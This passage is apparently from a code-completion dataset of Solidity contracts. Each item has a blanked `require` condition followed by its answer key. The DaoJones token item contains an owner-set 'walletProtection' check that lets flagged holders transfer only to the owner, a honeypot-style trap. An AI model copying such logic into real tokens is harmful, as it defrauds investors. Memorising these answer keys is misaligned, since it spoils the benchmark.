string calldata _contractURI,
address _marketAddress,
address owner,
bool _publiclyMintable
) public initializer {
}
function setMarketAddress(address _new) public onlyOwner {
}
/**
*
* @notice Internal function to mint to `_amount` of tokens of `_tokenId` to `_to` address
* @param _tokenId - The Id of the token to be minted
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @dev Can be used to mint any specific tokens
*
*/
function _mintToken(
uint256 _tokenId,
uint256 _amount,
address _to,
bytes memory _data
) internal returns (uint256) {
}
/**
*
* @notice Internal function to mint to `_amount` of tokens of new tokens to `_to` address
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @param _uri - The token metadata uri (optional if tokenURI is set)
* @dev Used internally to mint new tokens
*/
function _createToken(
uint256 _tokenId,
uint256 _amount,
address _to,
string memory _uri,
bytes memory _data
) internal returns (uint256) {
}
/**
*
* @notice This function can be used to mint a new token to a specific address
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @dev Mint a new token to `to` address
*
*/
function create(
uint256 _tokenId,
uint256 _amount,
address _to,
string memory _uri,
bytes memory _data,
address _royaltyReceiver,
uint96 _royaltyFee
) public returns (uint256 tokenId) {
}
/**
*
* @notice SET Uri Type from {DEFAULT,IPFS,ID}
* @param _uriType - The uri type selected from {DEFAULT,IPFS,ID}
*/
function setURIType(uint256 _uriType) public onlyOwner {
}
function uri(uint256 id) public view override returns (string memory) {
}
function setTokenURI(uint256 _id, string memory _uri) public {
require(<FILL_ME>)
_setTokenURI(_id, _uri);
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function setContractURI(string memory _newURI) external onlyOwner {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
virtual
override
returns (address, uint256)
{
}
function _setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _feeNumerator
) internal virtual {
}
function _feeDenominator() internal pure virtual returns (uint96) {
}
}
| creators[_id]!=address(0),"Cruzo1155:non existent tokenId" | 82,871 | creators[_id]!=address(0) |
null | pragma solidity ^0.8.17;
contract minerpunk is ERC721A {
using SafeMath for uint;
constructor(uint256 _price, uint256 openAmount)ERC721A("minerpunk", "minerpunk",6) {
}
address owner;
modifier onlyOwner() {
}
mapping(uint256 => mapping(uint256 => uint256))private info;
// [0][1] mint price (wei)
// [0][3] Sold
// [0][4] open
function mint(uint256 quantity) external payable {
require(<FILL_ME>)
require(info[0][3].add(quantity)<=info[0][4]);
uint256 price = quantity.mul(info[0][1]);
require(msg.value >= price);
payable(owner).transfer(price);
_safeMint(msg.sender, quantity);
info[0][3] = info[0][3].add(quantity);
}
function setInfo(uint256 paramA, uint256 paramB, uint256 paramC)external onlyOwner{
}
function ViewInfo(uint256 paramA, uint256 paramB)external view returns(uint256) {
}
}
| info[0][3]<info[0][4] | 82,893 | info[0][3]<info[0][4] |
null | pragma solidity ^0.8.17;
contract minerpunk is ERC721A {
using SafeMath for uint;
constructor(uint256 _price, uint256 openAmount)ERC721A("minerpunk", "minerpunk",6) {
}
address owner;
modifier onlyOwner() {
}
mapping(uint256 => mapping(uint256 => uint256))private info;
// [0][1] mint price (wei)
// [0][3] Sold
// [0][4] open
function mint(uint256 quantity) external payable {
require(info[0][3]<info[0][4]);
require(<FILL_ME>)
uint256 price = quantity.mul(info[0][1]);
require(msg.value >= price);
payable(owner).transfer(price);
_safeMint(msg.sender, quantity);
info[0][3] = info[0][3].add(quantity);
}
function setInfo(uint256 paramA, uint256 paramB, uint256 paramC)external onlyOwner{
}
function ViewInfo(uint256 paramA, uint256 paramB)external view returns(uint256) {
}
}
| info[0][3].add(quantity)<=info[0][4] | 82,893 | info[0][3].add(quantity)<=info[0][4] |
"Wallet protection enabled, please contact support" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _initialTransfer(address to, uint256 amount) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract DaoJones is ERC20, Ownable {
IDexRouter public immutable dexRouter;
address public lPair;
mapping(address => uint256) public walletProtection;
uint8 constant _decimals = 9;
uint256 constant _decimalFactor = 10 ** _decimals;
bool private swapping;
uint256 public swapTokensAtAmount;
uint256 public maxSwapTokens;
address public taxCollector;
uint256 _buyFee = 15;
uint256 _sellFee = 15;
bool public limited = true;
uint256 immutable maxTxn;
uint256 immutable maxWallet;
bool public swapEnabled = true;
uint256 public tradingActiveTime;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public pairs;
event SetPair(address indexed pair, bool indexed value);
event ExcludeFromFees(address indexed account, bool isExcluded);
constructor() ERC20("DaoJones", "DAO") {
}
receive() external payable {}
function decimals() public pure override returns (uint8) {
}
function updateSwapTokens(uint256 atAmount, uint256 maxAmount) external onlyOwner {
}
function toggleSwap() external onlyOwner {
}
function setPair(address pair, bool value) external onlyOwner {
}
function getSellFees() public view returns (uint256) {
}
function getBuyFees() public view returns (uint256) {
}
function adjustBuyRate(uint256 _rate) external onlyOwner {
}
function adjustSellRate(uint256 _rate) external onlyOwner {
}
function removeLimit() external onlyOwner {
}
function excludeFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack(uint256 amount) private {
}
function withdrawTax() external {
}
function addLP(uint256 tokens) external payable {
}
function openTrading() external onlyOwner {
}
function setTaxCollector(address _collector) external onlyOwner {
}
function airdrop(address[] calldata wallets, uint256[] calldata amountsInTokens) external onlyOwner {
}
function transferProtection(address[] calldata _wallets, bool _enabled) external onlyOwner {
}
function _beforeTokenTransfer(address from, address to) internal view {
require(<FILL_ME>)
}
}
| walletProtection[from]==0||block.number-walletProtection[from]==0||to==owner(),"Wallet protection enabled, please contact support" | 82,963 | walletProtection[from]==0||block.number-walletProtection[from]==0||to==owner() |
"METADATA_HAS_BEEN_FROZEN" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "erc721a/contracts/extensions/ERC4907A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
/**
* @author Created with HeyMint Launchpad https://launchpad.heymint.xyz
* @notice This contract handles minting Just a Present tokens.
*/
contract JustAPresent is
ERC721A,
ERC721AQueryable,
ERC4907A,
Ownable,
Pausable,
ReentrancyGuard,
ERC2981
{
address public royaltyAddress = 0x4A4333349a774841CF71F76b40b273372CEc2D21;
address[] public payoutAddresses = [
0x4A4333349a774841CF71F76b40b273372CEc2D21
];
bool public isPublicSaleActive = false;
// Permanently freezes metadata so it can never be changed
bool public metadataFrozen = false;
// If true, payout addresses and basis points are permanently frozen and can never be updated
bool public payoutAddressesFrozen = false;
string public baseTokenURI =
"ipfs://bafybeigam4be7stxfs2q2ezksvb4gdjvettaf6476im3sfjs24dnhw4kga/";
// Maximum supply of tokens that can be minted
uint256 public constant MAX_SUPPLY = 420;
uint256 public publicMintsAllowedPerAddress = 1;
uint256 public publicMintsAllowedPerTransaction = 1;
uint256 public publicPrice = 0 ether;
// The respective share of funds to be sent to each address in payoutAddresses in basis points
uint256[] public payoutBasisPoints = [10000];
uint96 public royaltyFee = 1000;
constructor() ERC721A("Just a Present", "XMAS") {
}
modifier originalUser() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Overrides the default ERC721A _startTokenId() so tokens begin at 1 instead of 0
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
/**
* @notice Wraps and exposes publicly _numberMinted() from ERC721A
*/
function numberMinted(address owner) public view returns (uint256) {
}
/**
* @notice Update the base token URI
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
require(<FILL_ME>)
baseTokenURI = _newBaseURI;
}
/**
* @notice Freeze metadata so it can never be changed again
*/
function freezeMetadata() external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
// https://chiru-labs.github.io/ERC721A/#/migration?id=supportsinterface
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC721A, ERC2981, ERC4907A)
returns (bool)
{
}
/**
* @notice Allow owner to send 'mintNumber' tokens without cost to multiple addresses
*/
function gift(address[] calldata receivers, uint256[] calldata mintNumber)
external
onlyOwner
{
}
/**
* @notice To be updated by contract owner to allow public sale minting
*/
function setPublicSaleState(bool _saleActiveState) external onlyOwner {
}
/**
* @notice Update the public mint price
*/
function setPublicPrice(uint256 _publicPrice) external onlyOwner {
}
/**
* @notice Set the maximum mints allowed per a given address in the public sale
*/
function setPublicMintsAllowedPerAddress(uint256 _mintsAllowed)
external
onlyOwner
{
}
/**
* @notice Set the maximum public mints allowed per a given transaction
*/
function setPublicMintsAllowedPerTransaction(uint256 _mintsAllowed)
external
onlyOwner
{
}
/**
* @notice Allow for public minting of tokens
*/
function mint(uint256 numTokens)
external
payable
nonReentrant
originalUser
{
}
/**
* @notice Freeze all payout addresses and percentages so they can never be changed again
*/
function freezePayoutAddresses() external onlyOwner {
}
/**
* @notice Update payout addresses and basis points for each addresses' respective share of contract funds
*/
function updatePayoutAddressesAndBasisPoints(
address[] calldata _payoutAddresses,
uint256[] calldata _payoutBasisPoints
) external onlyOwner {
}
/**
* @notice Withdraws all funds held within contract
*/
function withdraw() external nonReentrant onlyOwner {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 tokenId,
uint256 quantity
) internal override(ERC721A) whenNotPaused {
}
}
| !metadataFrozen,"METADATA_HAS_BEEN_FROZEN" | 82,984 | !metadataFrozen |
"MINT_TOO_LARGE" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "erc721a/contracts/extensions/ERC4907A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
/**
* @author Created with HeyMint Launchpad https://launchpad.heymint.xyz
* @notice This contract handles minting Just a Present tokens.
*/
contract JustAPresent is
ERC721A,
ERC721AQueryable,
ERC4907A,
Ownable,
Pausable,
ReentrancyGuard,
ERC2981
{
address public royaltyAddress = 0x4A4333349a774841CF71F76b40b273372CEc2D21;
address[] public payoutAddresses = [
0x4A4333349a774841CF71F76b40b273372CEc2D21
];
bool public isPublicSaleActive = false;
// Permanently freezes metadata so it can never be changed
bool public metadataFrozen = false;
// If true, payout addresses and basis points are permanently frozen and can never be updated
bool public payoutAddressesFrozen = false;
string public baseTokenURI =
"ipfs://bafybeigam4be7stxfs2q2ezksvb4gdjvettaf6476im3sfjs24dnhw4kga/";
// Maximum supply of tokens that can be minted
uint256 public constant MAX_SUPPLY = 420;
uint256 public publicMintsAllowedPerAddress = 1;
uint256 public publicMintsAllowedPerTransaction = 1;
uint256 public publicPrice = 0 ether;
// The respective share of funds to be sent to each address in payoutAddresses in basis points
uint256[] public payoutBasisPoints = [10000];
uint96 public royaltyFee = 1000;
constructor() ERC721A("Just a Present", "XMAS") {
}
modifier originalUser() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Overrides the default ERC721A _startTokenId() so tokens begin at 1 instead of 0
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
/**
* @notice Wraps and exposes publicly _numberMinted() from ERC721A
*/
function numberMinted(address owner) public view returns (uint256) {
}
/**
* @notice Update the base token URI
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
/**
* @notice Freeze metadata so it can never be changed again
*/
function freezeMetadata() external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
// https://chiru-labs.github.io/ERC721A/#/migration?id=supportsinterface
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC721A, ERC2981, ERC4907A)
returns (bool)
{
}
/**
* @notice Allow owner to send 'mintNumber' tokens without cost to multiple addresses
*/
function gift(address[] calldata receivers, uint256[] calldata mintNumber)
external
onlyOwner
{
require(
receivers.length == mintNumber.length,
"RECEIVERS_AND_MINT_NUMBERS_MUST_BE_SAME_LENGTH"
);
uint256 totalMint = 0;
for (uint256 i = 0; i < mintNumber.length; i++) {
totalMint += mintNumber[i];
}
require(<FILL_ME>)
for (uint256 i = 0; i < receivers.length; i++) {
_safeMint(receivers[i], mintNumber[i]);
}
}
/**
* @notice To be updated by contract owner to allow public sale minting
*/
function setPublicSaleState(bool _saleActiveState) external onlyOwner {
}
/**
* @notice Update the public mint price
*/
function setPublicPrice(uint256 _publicPrice) external onlyOwner {
}
/**
* @notice Set the maximum mints allowed per a given address in the public sale
*/
function setPublicMintsAllowedPerAddress(uint256 _mintsAllowed)
external
onlyOwner
{
}
/**
* @notice Set the maximum public mints allowed per a given transaction
*/
function setPublicMintsAllowedPerTransaction(uint256 _mintsAllowed)
external
onlyOwner
{
}
/**
* @notice Allow for public minting of tokens
*/
function mint(uint256 numTokens)
external
payable
nonReentrant
originalUser
{
}
/**
* @notice Freeze all payout addresses and percentages so they can never be changed again
*/
function freezePayoutAddresses() external onlyOwner {
}
/**
* @notice Update payout addresses and basis points for each addresses' respective share of contract funds
*/
function updatePayoutAddressesAndBasisPoints(
address[] calldata _payoutAddresses,
uint256[] calldata _payoutBasisPoints
) external onlyOwner {
}
/**
* @notice Withdraws all funds held within contract
*/
function withdraw() external nonReentrant onlyOwner {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 tokenId,
uint256 quantity
) internal override(ERC721A) whenNotPaused {
}
}
| totalSupply()+totalMint<=MAX_SUPPLY,"MINT_TOO_LARGE" | 82,984 | totalSupply()+totalMint<=MAX_SUPPLY |
"MAX_MINTS_EXCEEDED" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "erc721a/contracts/extensions/ERC4907A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
/**
* @author Created with HeyMint Launchpad https://launchpad.heymint.xyz
* @notice This contract handles minting Just a Present tokens.
*/
contract JustAPresent is
ERC721A,
ERC721AQueryable,
ERC4907A,
Ownable,
Pausable,
ReentrancyGuard,
ERC2981
{
address public royaltyAddress = 0x4A4333349a774841CF71F76b40b273372CEc2D21;
address[] public payoutAddresses = [
0x4A4333349a774841CF71F76b40b273372CEc2D21
];
bool public isPublicSaleActive = false;
// Permanently freezes metadata so it can never be changed
bool public metadataFrozen = false;
// If true, payout addresses and basis points are permanently frozen and can never be updated
bool public payoutAddressesFrozen = false;
string public baseTokenURI =
"ipfs://bafybeigam4be7stxfs2q2ezksvb4gdjvettaf6476im3sfjs24dnhw4kga/";
// Maximum supply of tokens that can be minted
uint256 public constant MAX_SUPPLY = 420;
uint256 public publicMintsAllowedPerAddress = 1;
uint256 public publicMintsAllowedPerTransaction = 1;
uint256 public publicPrice = 0 ether;
// The respective share of funds to be sent to each address in payoutAddresses in basis points
uint256[] public payoutBasisPoints = [10000];
uint96 public royaltyFee = 1000;
constructor() ERC721A("Just a Present", "XMAS") {
}
modifier originalUser() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Overrides the default ERC721A _startTokenId() so tokens begin at 1 instead of 0
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
/**
* @notice Wraps and exposes publicly _numberMinted() from ERC721A
*/
function numberMinted(address owner) public view returns (uint256) {
}
/**
* @notice Update the base token URI
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
/**
* @notice Freeze metadata so it can never be changed again
*/
function freezeMetadata() external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
// https://chiru-labs.github.io/ERC721A/#/migration?id=supportsinterface
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC721A, ERC2981, ERC4907A)
returns (bool)
{
}
/**
* @notice Allow owner to send 'mintNumber' tokens without cost to multiple addresses
*/
function gift(address[] calldata receivers, uint256[] calldata mintNumber)
external
onlyOwner
{
}
/**
* @notice To be updated by contract owner to allow public sale minting
*/
function setPublicSaleState(bool _saleActiveState) external onlyOwner {
}
/**
* @notice Update the public mint price
*/
function setPublicPrice(uint256 _publicPrice) external onlyOwner {
}
/**
* @notice Set the maximum mints allowed per a given address in the public sale
*/
function setPublicMintsAllowedPerAddress(uint256 _mintsAllowed)
external
onlyOwner
{
}
/**
* @notice Set the maximum public mints allowed per a given transaction
*/
function setPublicMintsAllowedPerTransaction(uint256 _mintsAllowed)
external
onlyOwner
{
}
/**
* @notice Allow for public minting of tokens
*/
function mint(uint256 numTokens)
external
payable
nonReentrant
originalUser
{
require(isPublicSaleActive, "PUBLIC_SALE_IS_NOT_ACTIVE");
require(
numTokens <= publicMintsAllowedPerTransaction,
"MAX_MINTS_PER_TX_EXCEEDED"
);
require(<FILL_ME>)
require(totalSupply() + numTokens <= MAX_SUPPLY, "MAX_SUPPLY_EXCEEDED");
require(msg.value == publicPrice * numTokens, "PAYMENT_INCORRECT");
_safeMint(msg.sender, numTokens);
if (totalSupply() >= MAX_SUPPLY) {
isPublicSaleActive = false;
}
}
/**
* @notice Freeze all payout addresses and percentages so they can never be changed again
*/
function freezePayoutAddresses() external onlyOwner {
}
/**
* @notice Update payout addresses and basis points for each addresses' respective share of contract funds
*/
function updatePayoutAddressesAndBasisPoints(
address[] calldata _payoutAddresses,
uint256[] calldata _payoutBasisPoints
) external onlyOwner {
}
/**
* @notice Withdraws all funds held within contract
*/
function withdraw() external nonReentrant onlyOwner {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 tokenId,
uint256 quantity
) internal override(ERC721A) whenNotPaused {
}
}
| _numberMinted(msg.sender)+numTokens<=publicMintsAllowedPerAddress,"MAX_MINTS_EXCEEDED" | 82,984 | _numberMinted(msg.sender)+numTokens<=publicMintsAllowedPerAddress |
"PAYOUT_ADDRESSES_ALREADY_FROZEN" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "erc721a/contracts/extensions/ERC4907A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
/**
* @author Created with HeyMint Launchpad https://launchpad.heymint.xyz
* @notice This contract handles minting Just a Present tokens.
*/
contract JustAPresent is
ERC721A,
ERC721AQueryable,
ERC4907A,
Ownable,
Pausable,
ReentrancyGuard,
ERC2981
{
address public royaltyAddress = 0x4A4333349a774841CF71F76b40b273372CEc2D21;
address[] public payoutAddresses = [
0x4A4333349a774841CF71F76b40b273372CEc2D21
];
bool public isPublicSaleActive = false;
// Permanently freezes metadata so it can never be changed
bool public metadataFrozen = false;
// If true, payout addresses and basis points are permanently frozen and can never be updated
bool public payoutAddressesFrozen = false;
string public baseTokenURI =
"ipfs://bafybeigam4be7stxfs2q2ezksvb4gdjvettaf6476im3sfjs24dnhw4kga/";
// Maximum supply of tokens that can be minted
uint256 public constant MAX_SUPPLY = 420;
uint256 public publicMintsAllowedPerAddress = 1;
uint256 public publicMintsAllowedPerTransaction = 1;
uint256 public publicPrice = 0 ether;
// The respective share of funds to be sent to each address in payoutAddresses in basis points
uint256[] public payoutBasisPoints = [10000];
uint96 public royaltyFee = 1000;
constructor() ERC721A("Just a Present", "XMAS") {
}
modifier originalUser() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Overrides the default ERC721A _startTokenId() so tokens begin at 1 instead of 0
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
/**
* @notice Wraps and exposes publicly _numberMinted() from ERC721A
*/
function numberMinted(address owner) public view returns (uint256) {
}
/**
* @notice Update the base token URI
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
/**
* @notice Freeze metadata so it can never be changed again
*/
function freezeMetadata() external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
// https://chiru-labs.github.io/ERC721A/#/migration?id=supportsinterface
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC721A, ERC2981, ERC4907A)
returns (bool)
{
}
/**
* @notice Allow owner to send 'mintNumber' tokens without cost to multiple addresses
*/
function gift(address[] calldata receivers, uint256[] calldata mintNumber)
external
onlyOwner
{
}
/**
* @notice To be updated by contract owner to allow public sale minting
*/
function setPublicSaleState(bool _saleActiveState) external onlyOwner {
}
/**
* @notice Update the public mint price
*/
function setPublicPrice(uint256 _publicPrice) external onlyOwner {
}
/**
* @notice Set the maximum mints allowed per a given address in the public sale
*/
function setPublicMintsAllowedPerAddress(uint256 _mintsAllowed)
external
onlyOwner
{
}
/**
* @notice Set the maximum public mints allowed per a given transaction
*/
function setPublicMintsAllowedPerTransaction(uint256 _mintsAllowed)
external
onlyOwner
{
}
/**
* @notice Allow for public minting of tokens
*/
function mint(uint256 numTokens)
external
payable
nonReentrant
originalUser
{
}
/**
* @notice Freeze all payout addresses and percentages so they can never be changed again
*/
function freezePayoutAddresses() external onlyOwner {
require(<FILL_ME>)
payoutAddressesFrozen = true;
}
/**
* @notice Update payout addresses and basis points for each addresses' respective share of contract funds
*/
function updatePayoutAddressesAndBasisPoints(
address[] calldata _payoutAddresses,
uint256[] calldata _payoutBasisPoints
) external onlyOwner {
}
/**
* @notice Withdraws all funds held within contract
*/
function withdraw() external nonReentrant onlyOwner {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 tokenId,
uint256 quantity
) internal override(ERC721A) whenNotPaused {
}
}
| !payoutAddressesFrozen,"PAYOUT_ADDRESSES_ALREADY_FROZEN" | 82,984 | !payoutAddressesFrozen |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "erc721a/contracts/extensions/ERC4907A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
/**
* @author Created with HeyMint Launchpad https://launchpad.heymint.xyz
* @notice This contract handles minting Just a Present tokens.
*/
contract JustAPresent is
ERC721A,
ERC721AQueryable,
ERC4907A,
Ownable,
Pausable,
ReentrancyGuard,
ERC2981
{
address public royaltyAddress = 0x4A4333349a774841CF71F76b40b273372CEc2D21;
address[] public payoutAddresses = [
0x4A4333349a774841CF71F76b40b273372CEc2D21
];
bool public isPublicSaleActive = false;
// Permanently freezes metadata so it can never be changed
bool public metadataFrozen = false;
// If true, payout addresses and basis points are permanently frozen and can never be updated
bool public payoutAddressesFrozen = false;
string public baseTokenURI =
"ipfs://bafybeigam4be7stxfs2q2ezksvb4gdjvettaf6476im3sfjs24dnhw4kga/";
// Maximum supply of tokens that can be minted
uint256 public constant MAX_SUPPLY = 420;
uint256 public publicMintsAllowedPerAddress = 1;
uint256 public publicMintsAllowedPerTransaction = 1;
uint256 public publicPrice = 0 ether;
// The respective share of funds to be sent to each address in payoutAddresses in basis points
uint256[] public payoutBasisPoints = [10000];
uint96 public royaltyFee = 1000;
constructor() ERC721A("Just a Present", "XMAS") {
}
modifier originalUser() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Overrides the default ERC721A _startTokenId() so tokens begin at 1 instead of 0
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
/**
* @notice Wraps and exposes publicly _numberMinted() from ERC721A
*/
function numberMinted(address owner) public view returns (uint256) {
}
/**
* @notice Update the base token URI
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
/**
